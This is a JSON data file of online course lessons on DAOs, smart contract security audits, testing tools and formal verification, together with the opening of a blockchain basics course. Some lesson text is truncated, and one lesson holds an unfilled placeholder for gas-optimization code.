voting process within a DAO works. However, this is just the basics. There are more advanced methodologies emerging daily, and it's only apt for you as a developer to explore these emerging trends.\n\nThere is a common criticism that pure DAOs can often devolve into plutocracies. To avoid that, consider tweaking the voting mechanisms or exploring other models of decentralized governance.\n\nIf you're feeling up to it, consider deploying a DAO or even creating your own! No matter what you decide to do next, pat yourself on the back. You've made a significant leap in your journey into understanding blockchain and smart contracts.\n\n\"Dao\n\nStay tuned for our next post. Until then, happy coding!\n", + "updates": [] + }, + { + "lessonId": "762e38ae-29e5-4f67-bf4b-2c2f172e5a7d", + "number": 7, + "title": "Section recap", + "slug": "daos-section-recap", + "folderName": "7-wrap-up", + "description": "A recap of the DAO section with additional insights on smart contract security and auditing, and tips on gas optimization.", + "duration": 6, + "videoUrl": "q3nI7romDbqB02P8R9Mo700p7G1nav02TUGi11byJwFC8M", + "rawMarkdownUrl": "/routes/advanced-foundry/5-daos/7-wrap-up/+page.md", + "markdownContent": "---\ntitle: Wrap up & Gas Tips\n---\n\n_Follow along with this video._\n\n\n\n---\n\nAs we approach the culmination of our lessons, there's one crucial topic left to cover - Smart Contract and Security Auditing for Developers. By no means should you leave this course without exploring this vital aspect. This is where we equip you with the necessary tools to ensure your smart contracts are secure and optimized. Sure, this lesson won't take you through auditing step by step, but it will certainly highlight what to expect from an auditor and essential steps towards thinking about security.\n\n---\n\n## Deep Dive Into Auditing World\n\nImagine the thrill of being able to deploy amazing contracts that are crafted and sealed with your intellect and skill. As exciting as that could be, equally important is being adept at understanding the security aspects associated with your creations. Hence, it is essential to know what to look for in an auditor; being aware of the crucial aspects that enhance the security of your contracts only makes you a seasoned developer.\n\nBut, we're not stopping there! If you plan to journey through the path of security and auditing, we've got you covered. We're working on dedicated security and auditing educational material to walk you through.\n\nSo, take pride in how far you've come! Time to celebrate your achievements - do a little dance, treat yourself to some ice cream. The end is within sight, and soon we will release you into the world, armed with fresh knowledge and insight.\n\nFor now, take a pause and join us back in a jiffy.\n\n---\n\n## Special Bonus: Gas Optimizations By Harrison Legg\n\nBut, before you hit the pause button, we've got a special piece of bonus content for you.\n\nWe are ecstatic to have Harrison Leggio, CTO and co-founder of Pop Punk, LLC, share some exceptional tips on gas optimizations. At Pop Punk LLC, they are building—`gaslight GG`, an audit firm specializing in gas optimization to ensure lowest possible gas costs. They are now venturing into building hyper optimized public goods tools for EVM developers, aiming at making the best and cheapest contracts accessible to all!\n\nHarrison was graciously shared an enlightening step-by-step explainer on gas optimizations with a special focus on AirDrop contracts, highlighting common ways that may unknowingly inflate your gas costs in your smart contracts. The goal of his speil is to illustrate how you can beautifully weave in simple elements in your code to save substantial amounts of gas without rendering the code unreadable.\n\nFind Harrison's detailed code explainer below.\n\n(Add the provided gas optimization code)\n\n_\"The end result? The AirDrop 'Bad' costs 1,094,690 gas, while the 'Good' version only consumes 404,842 gas, creating a saving of nearly 600,000 gas by making only minor changes. This not only benefits you as a developer but also the end users who won't need to spend exorbitant amounts.\"_ – Harrison Leggio, CTO and co-founder of Pop Punk, LLC\n\n---\n\nFeel free to find Harrison on Twitter at `@poppunkonchain`, and the business account at `@PoppunkLLC`. He also extends an invitation to budding or established protocols for gas audits. Keep an eye out for `Gaslight GG` where you can soon deploy 'super cheap, super gas optimized' smart contracts with just a single button press.\n\nThat's all for today's session! Till we meet again!\n", + "updates": [] + } + ] + }, + { +"sectionId": "c646c829-3376-430f-a3d4-65872e71fefb", + "number": 6, + "title": "Security", + "slug": "security", + "folderName": "6-security", + "lessons": [ + { + "lessonId": "b47c5b24-cd73-425f-94e5-4937dbfa2b5b", + "number": 1, + "title": "Intro", + "slug": "intro", + "folderName": "1-intro", + "description": "Introduction to smart contract security and auditing, providing foundational knowledge for crypto space security.", + "duration": 4, + "videoUrl": "02hqB3V7iMXCTQTULsnpJpF02v02LL00khoY3NlH02HUKnGk", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/1-intro/+page.md", + "markdownContent": "---\ntitle: Security & Auditing Introduction\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWelcome back! This is our final lesson in this course and we're ending on a thrilling note - diving into the world of **smart contract security and auditing**. So if you're a developer who's been eagerly monitoring your progress, then prepare to get some insightful knowledge nuggets that will truly enhance your crypto literacy.\n\nRemember, this is _just a teaser_ and won't cover everything about security, nonetheless, we're creating a treasure trove of places where you can learn and grow.\n\nAlthough this last lesson might tickle your brain, more importantly, it provides the foundational knowledge needed to take that first step into the exciting world of security in the crypto space.\n\n\"Auditing\n\n## Unraveling the Importance of Security with Stats\n\nIn case you're wondering why we're emphasizing security - the stats speak loud and clear! Here's a shocking fact:\n\n\"Auditing\n\nTo make it noir, consider the total value locked in the DEFI which was approximately $50 billion. That would indicate **6%** of all DFI was hacked last year. In simpler terms, it like placing your money in a bank that cheerfully says, \"_Hey, there's a 6% chance all your money will be gone next year_\".\n\nThe plausibility of this grim prospect closely mirrors what's happening in the crypto space and underlines the urgent need to bolster its security.\n\nTake a glance at an intriguing leaderboard on _Rectit News_. It's a daunting lineup of some of the biggest hacks, many of which were born out of code that was unaudited or reviewed by security professionals. Moreover, some of these attacks led to staggering losses of over half a billion dollars.\n\nThis brings us to a fundamental decision for protocol devs -\n\n\"Auditing\n\nFrom a business perspective, investing in security absolutely makes sense and provides a whopping 99% saving in costs.\n\n## Beginning the Process with Smart Contract Audits\n\nProtocol developers listen up! In all likelihood, you'll need to get a **smart contract security audit** at some point before you launch your protocol. That's where we'll start.\n\nA smart contract audit is certainly worth watching even if you don't aspire to become an auditor yourself. It will provide you with a foundation understanding when your protocol is poised to launch to mainnet.\n\nThe next video breaks down what a smart contract audit entails and how to prepare for it, so sit tight and get ready to unleash potential that’s waiting to be discovered!\n\nHappy Coding!\n", + "updates": [] + }, + { + "lessonId": "4e52985f-9d6d-4a2f-b3be-011923e6cd64", + "number": 2, + "title": "What is a smart contract audit", + "slug": "what-is-smart-contract-audit", + "folderName": "2-what-is", + "description": "Insights into the manual review process in smart contract auditing, emphasizing the importance of detailed code and documentation examination.", + "duration": 7, + "videoUrl": "QgQHaeCjJDS6PKo00uV7iOCCKGwtx02fhXcQCarJbXVOM", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/2-what-is/+page.md", + "markdownContent": "---\ntitle: What is a Smart Contract Audit?\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWhen it comes to understanding the finer details of blockchain technology, smart contract auditing is of paramount importance. This audit is essentially a security-based code review with a specific timeframe laid out for your smart contract system.\n\n## What is a Smart Contract Audit?\n\n\"Auditing\n\nThe principal goal of an auditor, in this case, is to discover as much vulnerabilities as possible, while also educating the protocol about security best practices and proficient coding techniques. This complex process involves a combination of manual reviews and automated tools for finding these vulnerabilities.\n\n## Why is a Smart Contract Audit So Essential?\n\nHaving a better understanding of why a smart contract audit is a critical part of launching your code base onto a live blockchain will highlight its importance.\n\n### Vulnerability to Hacks\n\nThere are countless websites that catalog the number of hacks that occur in blockchain environments, highlighting its vulnerability. In the past year alone, almost $4 billion was stolen from smart contracts, making it the year with the highest stolen value from these contracts.\n\nThis alarming statistic underscores the importance of a meticulous smart contract audit. Once a smart contract is deployed, it cannot be altered or modified - therefore, getting it correct in its initial phase is crucial.\n\n### Adversarial Potential\n\nA blockchain is traditionally a permissionless adversarial environment. Your protocol must be prepared to encounter and deal with malicious users. An audit can equip your developer's team with improved understanding and proficiency in code, consequently increasing their efficiency and effectiveness in implementing the required features.\n\nMoreover, a single smart contract audit might not suffice considering the rapidly evolving nature of the digital space. Your protocol should ideally embark on a comprehensive security journey that comprises multiple audits, formal verification, competitive audits, and bug bounty programs. We'll explore these aspects in greater breadth in future blogs.\n\n## Audit Service Providers\n\nSeveral companies offer smart contract auditing services. These include but are not limited to: Trail of Bits, Consensys Diligence, OpenZeppelin, Sigma Prime, SpiritDAO, MixBytes, WatchPug Trust, and, of course, [Cyfrin](https://www.cyfrin.io/) . Additionally, a host of independent auditors also provide high-quality audit services.\n\n## What Does a Typical Audit Look Like?\n\nLet's dive into a typical audit process to understand how it generally plays out.\n\n- **_Price and Timeline:_** An audit begins with figuring out the price and timeline. Protocol needs to contact auditors and discuss how long the audit will take based on scope and code complexity. Ideally, they should reach out before their code is finished to ensure the auditors have sufficient time to schedule them in.\n- **_Commit Hash and Down Payment:_** Once the timeline and price are established, the protocol finalizes a start date and a final price based on a commit hash, which is a unique ID of the code base. Some auditors may request a down payment to schedule the audit.\n- **_Audit commencement:_** The auditors deploy every tool in their arsenal to unearth as many vulnerabilities in the code as possible.\n- **_Initial report submission:_** After the audit duration ends, auditors hand in an initial report that outlines their findings based on severity. These will be divided into High, Medium, and Low alongside Informational, Non-critical, and Gas efficiencies.\n- **_Mitigation commencement:_** Post receipt of the initial report, the protocol's team has a fixed time to fix the vulnerabilities found in the initial report.\n- **_Final report submission:_** The final stage entails the audit team performing a final audit exclusively on the fixes made to tackle the issues highlighted in the initial report.\n\n## Ensuring a Successful Audit\n\nThere are a few key actions that can ensure your audit is as successful as possible:\n\n1. Clear documentation\n2. A robust test suite\n3. Commented and readable code\n4. Adherence to modern best practices\n5. An established communication channel between developers and auditors\n6. An initial video walkthrough of the code before the audit begins.\n\n### The Importance of Collaboration\n\nTo get the best results, consider yourself and your auditors as a team. Ensure a smooth flow of communication between the developers and auditors right from the audit commencement. This way, auditors get a thorough understanding of the code, equipping them to better diagnose any vulnerabilities.\n\n### Post Audit Considerations\n\nOnce your audit concludes, your work isn't done. Be sure to take the recommendations from your audit seriously, and remember that any change to your code base after the audit introduces unaudited code.\n\n## What an Audit Isn't\n\nAn audit doesn't mean that your code is bug-free. An audit is a collaborative process between the protocol and the auditor to find vulnerabilities. It is essential to treat each audit as part of a continuous and evolving process - and be prepared to take immediate action if a vulnerability is discovered.\n\n## Wrapping Up\n\nIn essence, a smart contract audit is a pivotal security journey that prepares you with best practices and security knowledge to launch your code onto a live blockchain. And of course, if you're searching for auditors, don't hesitate to reach out to the [Cyfrin](https://www.cyfrin.io/) team, and we'd be happy to assist.\n\nStay safe out there, and ke\n", + "updates": [] + }, + { + "lessonId": "d548101f-dbfe-4536-8a4e-99752f327be4", + "number": 3, + "title": "Top security tools", + "slug": "top-smart-contract-security-tools", + "folderName": "3-top-tools", + "description": "Overview of various security tools used by professionals for smart contract auditing, including their roles and effectiveness.", + "duration": 12, + "videoUrl": "pDVCqjk6aPdojcQgcmGCI25AqCP37d9LtbfZjfX8jpc", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/3-top-tools/+page.md", + "markdownContent": "---\ntitle: Top Tools used by Security Professionals\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWelcome back! Now that you have a basic understanding of what a smart contract audit involves, let's take a deep dive into the auditing process employed by security professionals. More specifically, the tools they leverage, their relevance to protocol developers, and why early-stage security awareness is paramount.\n\n## Importance of Security Tools for Smart Contract Developers\n\nAs a smart contract developer, it is crucial to familiarize yourself with the entire toolkit used in audits. It will make sense to employ these tools even before seeking a professional audit just to streamline the process. Remember: the code base you launch is your responsibility and it is important not to wait until the end to think about security. Instead, your code's safety must be built into the architecture from the onset.\n\nLet's take the analogy of a car race. If you build a dysfunctional car and decide to jump on the racetrack, you'll find out that you should have started over. Using time to audit a fundamentally flawed system is therefore not productive. To avoid such situations, smart contract developers have useful tools that can help provide guidance. [Solcurity](https://github.com/transmissions11/solcurity), for instance, offers security and code quality standards for solidity smart contracts and then there's the [simple security toolkit](https://github.com/nascentxyz/simple-security-toolkit) from Nascentxyz, a valuable resource to consult pre-audit.\n\n## The Smart Contract Audit Process\n\nThe audit process is rather complex with no one-size-fits-all solution. However, typical smart contract audits involve a mix of manual reviews and tool-based evaluations. A multitude of tools exist to ensure code security, but manual review remains arguably the most vital.\n\n### The Power of Manual Review\n\nManual review primarily involves going through the code line by line and verifying the code's functionality against documentation. It's unsurprising that the developer community often jokes about the gains that 15 minutes of documentation reading could yield. The first step usually involves understanding the protocol's supposed function, given the majority of bugs encountered are more related to business logic than technical errors.\n\n\"Auditing\n\nThis statement couldn't be truer here. The more code and documentation you read, the better equipped you will be to spot bugs and errors.\n\nFor example, consider a simple contract with a 'set number' function. While the code might compile and deploy successfully, reading the corresponding documentation may reveal the intended function is to set a number to a 'new number'. It's only through understanding this that you'll realize setting it to 'new number + 1' is incorrect. Not a code error, but a business logic error, which is just as significant.\n\n### The Investigative Tools Used in Audits\n\nBesides manual review, several tools come in handy during the auditing process. These include:\n\n1. **Test Suites**: The primary line of defense that highlights potential vulnerabilities during testing. Most popular frameworks integrate test suites, and their importance has been extensively discussed in this course.\n2. **Static Analysis**: Helps in automatically detecting code issues without running any code. Typically, such tools search for specific keyword patterns for potential issues.\n3. **Fuzz Testing**: An approach that involves feeding random data as inputs during testing to unearth bugs that might go undetected during regular testing.\n4. **Stateful Fuzz Testing**: A more complex version of fuzz testing, already covered in this course.\n5. **Differential Testing**: Although not a keen focus area for this course, it involves writing the same code multiple times, and comparing them for discrepancies.\n6. **Formal Verification**: This is a mathematical proof-based code verification methodology to establish the correctness of hardware or software.\n\n#### Formal Verification through Symbolic Execution\n\nFormal verification might seem slightly confusing initially, but think of it as converting solidity code into mathematical expressions that can easily prove or disprove the code's operation. Symbolic execution is a typical method of formal verification. It attracts contrasting preferences within the development community due to its time-intensive nature, with many players choosing to skip it. Although not a direct indicator of error-free code, it becomes crucial when dealing with math and computationally heavy processes.\n\n#### The Role of AI in Smart Contract Audits\n\nAI-supported tools are a work in progress in the industry. While sometimes they prove to be vital additions to the toolset, other times they disappoint significantly.\n\n## Unpacking the Audit Process with Real Code Samples\n\nTo grasp this better, consider the following snippets from the Denver Security Rep (a codebase associated with this course) :\n\n1. **Manual Review**: Code that does math incorrectly—identified by direct comparison with documentation.\n2. **Testing**: A function supposed to set a number but adds one to it—discovered with simple unit testing.\n3. **Static Analysis**: A sample reentrancy attack detected automatically by running [Slither](https://github.com/crytic/slither).\n4. **Fuzz Testing**: Failure to maintain variable value within defined bounds—picked up by random data input testing.\n5. **Symbolic Execution**: Use of solidity compiler to check for issues by triggering different code paths, and understanding their outcomes.\n\n## Wrapping Things Up with Expert Insights\n\nTo help us better understand manual reviews, we're fortunate to have Tincho, a distinguished Ethereum smart contract researcher. Tincho, through his manual review technique, discovered a critical vulnerability in the Ethereum Name Service (ENS) that earned him a $100,000 payout. His insights will undoubtedly be valuable as you navigate your journey in smart contract auditing.\n\nThat was it for this lesson, keep learning and happy auditing!\n\n\"Auditing\n", + "updates": [] + }, + { + "lessonId": "f1c18671-11d8-4bd8-b206-bb0557e09751", + "number": 4, + "title": "Introduction to manual review", + "slug": "smart-contract-manual-review", + "folderName": "4-manual-review", + "description": "Insights into the manual review process in smart contract auditing, emphasizing the importance of detailed code and documentation examination.", + "duration": 14, + "videoUrl": "fL00Wb4rLbCenx029G1PKkgjvwFMTyv2mtffZIdVEIHVU", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/4-manual-review/+page.md", + "markdownContent": "---\ntitle: Manual Review\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Step-By-Step Guide: How to Audit DeFi with Tincho\n\nThis blog post is a detailed reflection of an interview with Tincho, an Ethereum security researcher, a former lead auditor at Openzeppelin, and the creator of Damn Vulnerable DeFi. His vast expertise in DeFi auditing makes him a wealth of knowledge for anyone interested in Ethereum or blockchain security.\n\n## Embracing the Audit Process\n\nThis is Tincho, an Ethereum security researcher and creator of Damn Vulnerable DeFi. In today's blog post, we are going to discuss the auditing process in detail. Now, it's crucial to understand that auditing does not necessarily have a 'one-size-fits-all\" approach. We all have our own ways of making things work and what I'll lay out in this blog post are my go-to strategies. Without further ado, let's take a dive into the world of Defi auditing.\n\n## Getting Started: Exploring Repositories and Reading Documentations\n\nTo begin with, you need to have a clear understanding of what you're dealing with. Hence, we'll pick the Ethereum Name Service (ENS) GitHub repository for a mock auditing in this blog post.\n\nHere's what I recommend:\n\n- **Clone-The-Repo-First**: Fork the repository to your local development environment.\n- **Visit The Documentation**: Understanding the architecture of what you're reviewing is key. Familiarize yourself with the terms and the concepts used.\n\n\"Auditing\n\n## Reviewing Audit Reports and Setting Command Line Utility\n\n_Auditing ENS's GitHub Repository_\n\nHaving looked at the documentation and the architecture, let's go back to auditing the ENS's repository on GitHub. Note that the repository contains multiple contracts and ENS uses hardhat for development. Although I prefer projects that use foundry over hardhat, it would not be an impediment for auditing.\n\nTo acknowledge the complexity of the code, you need to count the lines of code. For this, I usually use a command-line utility called _Clock_ and save the output in the form of a CSV which is later fed into the spreadsheet.\n\n**Solidity Metrics**: Another tool to scope the complexity of a file is 'Solidity Metrics' developed by Consensus. You can run this on your project and it will provide you with a detailed report of the levels of complexity.\n\n\"Auditing\n\n## Organizing Audit Process and Taking Notes\n\nAs a part of your audit process, prioritize the contracts according to their complexity using tools like solidity metrics or clock. Move your contracts from the 'Not Started' phase to 'In Progress' and then 'Completed'. This aids tremendously in keeping the audit process on track, especially when working in teams.\n\nWhile auditing, you might need to dive deep into certain aspects of the system and it is important to take notes of your observations. Whether you take notes in the code, a news file or a note-taking plugin, it helps in keeping track of your thoughts.\n\n\"Auditing\n\nAn auditor needs to continuously brainstorm about potential breaches and weak points. Often this process won't follow a fixed path and will be influenced by the auditor's own experience and knowledge. This includes keeping in mind the different forms of attacks, identifying quickly anything that's out of place, and reading others' vulnerability reports.\n\n## Understanding the Testing Environment and The Importance of Communication\n\nIt's significant to realize that you might need to test things during the audit. For complex setups, you might have to adapt to the actual testing environment of the project. Additionally, communication with your clients is key. They understand the intent of the system better than anyone. Seek help when in doubt but also maintain a degree of detachment as you are the expert they are counting on.\n\nOnce the client reassures you that the issues have been fixed, review those fixes to make sure no new bugs have been introduced. Concurrently, prepare your audit report clearly mentioning all your findings and observations.\n\n\"Auditing\n\n## Beware of the 'Perfect Auditor' Fallacy\n\nRemember, no auditor is perfect and can claim to find every vulnerability. It's the collective responsibility of the client and the auditor to ensure code security. It's absolutely normal for some vulnerabilities to be missed. However, that doesn't mean you take your job lightly. Stay diligent in your task and keep growing your skills.\n\n\"Auditing\n\nIf despite your best efforts, an audit fails and your client's code gets hacked, remember it isn't entirely your fault. The blame should be shared by both parties. As an auditor, your role is to provide a valuable security code review, irrespective of whether you find a critical issue.\n\nAnd that sums up our auditing journey. Thank you for accompanying me on this. I hope it has been enriching for you and will aid you in your auditing adventures. Until next time!\n\n[Link to the full interview](https://www.youtube.com/watch?v=bYdiF06SLWc&t=0s)\n\nThat was it for this lesson, we hope you enjoyed it! Happy learning!\n", + "updates": [] + }, + { + "lessonId": "31ed03ef-dbe7-4341-b314-27b6db4bcc4d", + "number": 5, + "title": "Introduction to formal verification", + "slug": "formal-verification", + "folderName": "5-formal-verification", + "description": "Exploration of formal verification and symbolic execution in Web3, including their applications and limitations in security testing.", + "duration": 15, + "videoUrl": "x5X00U2CIg39S01dW67zgq1Tz9Hq9p9mZYuMVTYA4kk5A", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/5-formal-verification/+page.md", + "markdownContent": "---\ntitle: Formal Verification\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Understanding Symbolic Execution and Formal Verification in Web3\n\nSo you're interested in enhancing your security testing toolkit with symbolic execution and formal verification? You've come to the right place. In this post, we're going to break down these complex concepts and equip you with the knowledge to begin incorporating them into your security audits.\n\nThis post has been inspired by valuable contributions from [the Trail of Bits team](https://www.trailofbits.com/) - renowned for their expertise in this domain. Thanks to them, we'll be able to delve into the nuances of symbolic execution and formal verification.\n\nSounds exciting? Let's jump in!\n\n## Deepening Your Understanding of Testing Methodologies\n\nBefore we advance to the heart of the matter - symbolic execution and formal verification - let's review the testing methodologies we use in Web3 development. To understand what follows, you'll need a high-level understanding of Solidity and some familiarity with foundational testing approaches like unit testing and fuzzing testing.\n\n### Unit Testing\n\nUnit testing forms the first layer of our testing \"onion.\" It's a method where you test a specific \"unit\" (like a function) to ensure it performs as expected. In other words, unit testing involves checking whether a function does what it should. But you already knew that, right? we have coded together a lot of tests in the previous videos.\n\nA unit test can catch bugs in the execution of this function. When using Solidity testing frameworks like [Foundry](https://github.com/foundry-rs/foundry).\n\n### Fuzz Testing\n\n\"Auditing\n\nFuzz testing serves as the second layer. In essence, fuzzing is the process of running your program with a range of random inputs to see if it breaks. Here, you need to define your code's invariants - the properties you expect to be true regardless of the program's state.\n\nLet's consider a function that should never return zero. We can create a fuzz test that throws a bunch of random numbers at the function to try to make it return zero.\n\nThe fuzz test tries to break our property by passing in random numbers. If it finds something that causes the function to return zero, it means we have an edge case that needs to be addressed.\n\n### Static Analysis\n\nThe third layer of our testing onion is Static Analysis. Unlike fuzz and unit testing, static analysis doesn't involve running the code. Instead, it involves inspecting the code as-is, checking for known vulnerabilities.\n\nStatic analysis tools can be valuable for rapidly identifying sections of your code that employ bad practices. Besides Slither, the Solidity compiler itself can serve as a static analysis tool.\n\nNow that we have some background on essential testing methodologies, let's delve into formal verification and symbolic execution.\n\n## Formal Verification & Symbolic Execution\n\nOur exploration starts with formal verification - the process of proving or disproving a system property using mathematical models. Various techniques exist for this, including symbolic execution and abstract interpretation. We'll be focusing on symbolic execution.\n\n### Symbolic Execution Demystified\n\n\"Auditing\n\nSymbolic execution is a technique wherein you explore the different paths your program can take and create a mathematical representation for each path.\n\nConsider a function we want to verify using symbolic execution. First, we need to identify the invariant - what we want to prove or disprove about the function. For our needs, let's say our invariant is: this function should never revert.\n\n## The Limitations\n\nWhile symbolic execution is powerful, it's not a magic bullet. It can struggle with a 'path explosion' problem, where there are too many paths for the tool to explore in a reasonable timeframe.\n\nAdditionally, symbolic execution requires a deep understanding to use effectively and maintain. This often results in a high skill requirement. However, a sufficiently powerful fuzzer may be adequate for many requirements.\n\nSo, there we have it! From unit testing to symbolic execution, we've stepped through the necessary layers to fortify your coding practices. Continue to ask questions, explore, and keep coding safely!\n\n## Wrapping Up\n\nI hope you enjoyed this post and found it useful. If you're interested in learning more about security testing, check out the [Trail of Bits blog](https://blog.trailofbits.com/). They have a ton of great content on this topic.\n\nWe are to close to finishing this course. In the next video, we will be looking at the final topic of this course, a huge huge huge congratulations for making it this far!\n", + "updates": [] + }, + { + "lessonId": "9ec6f023-3e4a-4922-a97d-e9c1cdca6daf", + "number": 6, + "title": "Congratulations", + "slug": "congratulations", + "folderName": "6-congratulations", + "description": "Celebratory conclusion of the course, highlighting key resources and tools for continued learning in smart contract security.", + "duration": 5, + "videoUrl": "QA01qJgFupgZeQc0201q3P9UHA00gUZuBq1jO7myGb1r8k4", + "rawMarkdownUrl": "/routes/advanced-foundry/6-security/6-congratulations/+page.md", + "markdownContent": "---\ntitle: Congratulations\n---\n\n_Follow along with this video._\n\n\n\n---\n\n# Becoming a Smart Contract Security Wizard: What’s Next After Your First Big Course\n\nWelcome back, this is the end of our journey together, at least for this course. We hope you've enjoyed it and learned a lot. We've covered a lot of ground, and you should be proud of yourself for making it this far. Now, let's take a look at some nice tools and resources that will help you continue your journey.\n\n## Resources That Cannot Be Missed\n\nContinuing your journey through security education and fine-tuning those skills you just acquired is also essential:\n\n- [Damn Vulnerable DeFi](https://www.damnvulnerabledefi.xyz/), crafted by a developer named Tincho, is a fascinating game that draws you right into the heart of offensive security in Ethereum’s smart contracts.\n\n- A kinetically engaging way of learning, [Ethernaut](https://ethernaut.openzeppelin.com/) offers an immersive game-like environment perfect for understanding Solidity and smart contract vulnerabilities.\n\n\"Auditing\n\n## For The Aesthetes: Insights into Smart Contract Auditing\n\nOne vital aspect of this space is auditing. If you're looking to be an auditor, [Solidit](https://solodit.xyz/) is an excellent tool for accessing audit reports from the most accomplished smart contract security professionals in the industry. Here at [Cyfrin](https://www.cyfrin.io/), we do smart contract security and auditing too, so don't hesitate to reach out.\n\n## Sharpen Your Saw: Further Learning and Opportunities\n\nAlthough we have dipped quite deep into the iceberg that is security in this course, you must understand that there's still so much more to explore, and we're working on providing further security-based education, so stay tuned. However, to kick things off in your advanced security journey.\n\nThis marks the end of the security lesson, but not of your journey. Now that you're armed with deep insights into the Web Three developer space, it might seem daunting to contemplate your next move. No worries though; here's the answer: apply your new knowledge. Whether you're joining a hackathon, delving into GitHub repos, or applying for jobs and grants, it's critical to utilize and develop your skills.\n\n---\n\nThanks to all who took the course and contributed to its creation. It's been a thrill to share this journey, and the excitement continues as we watch you dive in, continue your learning, and march forward, building on the cutting-edge technology our field offers. We look forward to seeing you in the Web Three and blockchain community and can’t wait to admire the wonderful things you build. Until then, happy coding!\n\nBye!\n", + "updates": [] + } + ] + } + ], + "createdAt": "2023-12-18T15:14:18.685Z", + "updatedAt": "2023-12-18T15:14:18.686Z" +} \ No newline at end of file diff --git a/content/courses/blockchain-basics.json b/content/courses/blockchain-basics.json new file mode 100644 index 00000000..348f06ac --- /dev/null +++ b/content/courses/blockchain-basics.json @@ -0,0 +1,167 @@ +{ + "folderName": "blockchain-basics", + "lastUpdated": "Mon Jan 15 2024 12:22:48 GMT-0500 (Eastern Standard Time)", + "trailerUrl": "", + "number": 0, + "courseId": "32bb0733-5e24-4b43-959f-76f85d2bb5c6", + "slug": "blockchain-basics", + "createdAt": "2023-12-18T15:14:18.685Z", + "updatedAt": "2024-01-23T12:13:33.116Z", + "title": "Blockchain Basics", + "path": "content/learning-paths/foundations.json", + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/nq7uojmdogr2dijnokng.png", + "duration": 3, + "description": "Kickstart your web3 career. Start from the complete blockchain fundamentals and build your knowledge from here!", + "overview": { + "learnings": "What is a blockchain, How do blockchains work, Proof of work, smart contracts basics, blockchain transactions", + "preRequisites": [] + }, + "authors": [ + { + "author": "content/authors/patrick-collins.json" + } + ], + "sections": [ + { + "sectionId": "b52c8210-bf43-4b4a-b868-9800aa458945", + "number": 1, + "slug": "basics", + "title": "Blockchain Basics", + "lessons": [ + { + "lessonId": "a0e53ee0-46d4-4bde-aa69-1300180d41a3", + "number": 1, + "slug": "welcome-to-updraft", + "title": "Welcome to Updraft!", + "description": "Welcome to the course!", + "duration": 14, + "videoUrl": "YM00LkWhjJoEHyCGkjak021uRZSdofTZwBWLa7h01026k00I", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/1-welcome/+page.md", + "markdownContent": "***\n\n## title: Welcome to the course!\n\n*Follow along with this video:*\n\n***\n\n*Quick tip, we will be constantly using resources from the [GitHub Repo](https://github.com/Cyfrin/foundry-full-course-f23/)*\n\n### Welcome to Cyfrin Updraft!\n\nHello and welcome! If you're interested in the world of Web3 development, then you're in the right place. This is the most cutting edge and comprehensive course ever created.\n\nLet's talk about what to expect!\n\n### Why Take This Course?\n\nWith the massive demand for Solidity and Smart Contract developers, this course is a golden opportunity to launch, advance, or switch to a career in Web3. As you navigate the course, you will learn how to work with AI tools so that you can fast-track your learning journey and become a proficient `10x` developer.\n\nDon't worry if you've never coded before, let me assure you that this course is designed for learners at all levels. If you're an experienced Smart Contract engineer or familiar with blockchain development, you're welcome to skip around and cherry-pick modules that interest you. But most importantly, this course aims to turn you into a pioneering force within Web3.\n\n### Who Am I?\n\nMy name is Patrick Collins, a seasoned Smart Contract engineer, security researcher, and dedicated advocate for Web3. I co-founded Cyfrin, a Smart Contract Security firm, I'm an average Web3 [YouTuber](https://www.youtube.com/c/patrickcollins) and the co-creator of Cyfrin Updraft.\n\nI live and breathe smart contract development.\n\nBut beyond that, I love taking passionate smart contract developers, like you, into the journey of Web3.\n\n### What to Expect\n\nThis is not your run-of-the-mill course. Instead, it's a culmination of all the knowledge we've accumulated after years of working in this industry as a Smart Contract developers and security researchers. Our track record guarantees you'll exit the other side, armed with the knowledge necessary to make a significant impact in the cryptocurrency and blockchain industry.\n\nBeyond just teaching you to code, this course prepares you to maneuver DeFi, NFTs, DAOs, Tokens, Upgradeable Smart Contracts and more. By the end, you'll have a clear path forward and a wealth of economic opportunities at your disposal – all you need is the willingness to take the steps.\n\n### Best Practices\n\n\"git\n\nLet's start by covering some of the best practices to help you get the absolute most out of this course.\n\n**[Use the GitHub repo as your Bible!](https://github.com/Cyfrin/foundry-full-course-f23/)** it will have all the resources you'll need to succeed. Contained within, you'll find a `discussions` tab. Any questions you have or hurdles you face can be posted here!\n\n**Ask meaningful questions and interact with like-minded learners** – this is just as important as grasping the actual technologies.\n\n**Code along with me** - As we progress through the course, it's a good idea to code along with me. Actually *doing* the work and performing the actions is how you'll build familiarity with these processes and how they'll really stick.\n\n**Watch for Updates** - This space moves very quickly - as things are updated, I do my best to catalogue them in **[Chronological Updates](https://github.com/Cyfrin/foundry-full-course-f23/blob/main/chronological-updates.md)** in our GitHub Repo. Reference here if it seems like something is out of date!\n\n**Move at your Pace** - Adjust the pace of the course to meet your needs. The course is modular, so if you want to skip to particular areas - absolutely do that.\n\n**Reflect on your Learnings** - repetition is the mother of skill. The more you repeat these development practices, the more they'll stick\n\n**Complete the Optional Challenges** - The GitHub Repo has links to fun challenges at the end of each lesson - these are meant to test your skills and reward you with a fun way to show of your progress as a smart contract developer!\n\n**Leverage the Community** - Blockchain development is incredibly collaborative. Get involved on **[GitHub](https://github.com/Cyfrin/foundry-full-course-f23/discussions)**, **[Peeranha](https://peeranha.io/)** and other forums. Join our **[Discord](https://discord.gg/cyfrin)** server and have conversations with developers just like yourself.\n\n> **Remember:** a challenge is not a roadblock, but an opportunity to learn something new.\n\n### Let's Get Started\n\nWith the above understanding in place, get ready. We're above to embark on a journey of knowledge and opportunity.\n\nOur first step will be understanding how the blockchain even works, what smart contracts even are.\n\nLet's get Froggy 🐸\n", + "updates": [] + }, + { + "lessonId": "a0e53ee0-46d4-4bde-aa69-1300180d41d2", + "number": 2, + "slug": "what-is-a-blockchain", + "title": "What is a blockchain?", + "description": "Introduction to blockchain technology, 